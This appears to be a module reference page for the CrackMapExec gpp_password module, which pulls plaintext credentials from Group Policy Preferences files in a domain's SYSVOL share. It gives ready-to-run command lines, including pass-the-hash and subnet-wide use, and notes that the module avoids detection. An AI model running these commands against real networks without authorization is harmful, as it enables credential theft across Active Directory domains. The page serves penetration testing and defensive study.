CrackMapExec Gpp_password (smb)

This page contains detailed information about how to use the gpp_password CME module while using the smb protocol. For list of all CrackMapExec modules, visit the CrackMapExec Module Library.

Description

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This module retrieves the plaintext password and other sensitive information for accounts pushed through Group Policy Preferences (GPP). It works by mounting the SYSVOL volume of the Active Directory domain controller(s) and looking for XML files such as Groups.xml, Services.xml, Scheduledtasks.xml, DataSources.xml, Printers.xml or Drives.xml.

The gpp_password module is OPSEC safe. This means that it doesn't touch the disk and therefore shouldn't trigger any alarms.

Supported Protocols

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• smb

Module Source Code

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• https://github.com/byt3bl33d3r/CrackMapExec/tree/master/cme/modules/gpp_password.py

Authors

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• @byt3bl33d3r

Module Usage

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This is how to use the gpp_password module while using the smb protocol:

Syntax:
# cme smb <TARGET[s]> -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -M gpp_password

Local admin:
# cme smb 10.0.5.1 -u Administrator -p P@ss123 -d . -M gpp_password
# cme smb 10.0.5.1 -u Administrator -p P@ss123 --local-auth -M gpp_password

Domain user:
# cme smb 10.0.5.1 -u bkpadmin -p P@ss123 -d target.corp -M gpp_password

CrackMapExec also supports passing the hash, so you can specify NTLM hash instead of a password:

# cme smb 10.0.5.1 -u Administrator -H 432b022dc22aa5afe884e986b8383ff2 -d . -M gpp_password
# cme smb 10.0.5.1 -u bkpadmin -H 432b022dc22aa5afe884e986b8383ff2 -d target.corp -M gpp_password

The gpp_password module can be also used against multiple hosts. Here's how to run it against multiple hosts:

# cme smb target_list.txt -u Administrator -p P@ss123 -d . -M gpp_password
# cme smb 10.0.5.0/24 -u Administrator -p P@ss123 -d . -M gpp_password
# cme smb 10.0.5.1-100 -u Administrator -p P@ss123 -d . -M gpp_password

Module Options

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As you can see below, the gpp_password module doesn't have any additional options:

# cme smb -M gpp_password --options
[*] gpp_password module options:

References

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• https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
• https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/#16-credentials-in-sysvol-and-group-policy-preferences-gpp
• https://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
• http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2

Version

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This page has been created based on CrackMapExec version 5.1.7dev.
Visit CrackMapExec Module Library for more modules.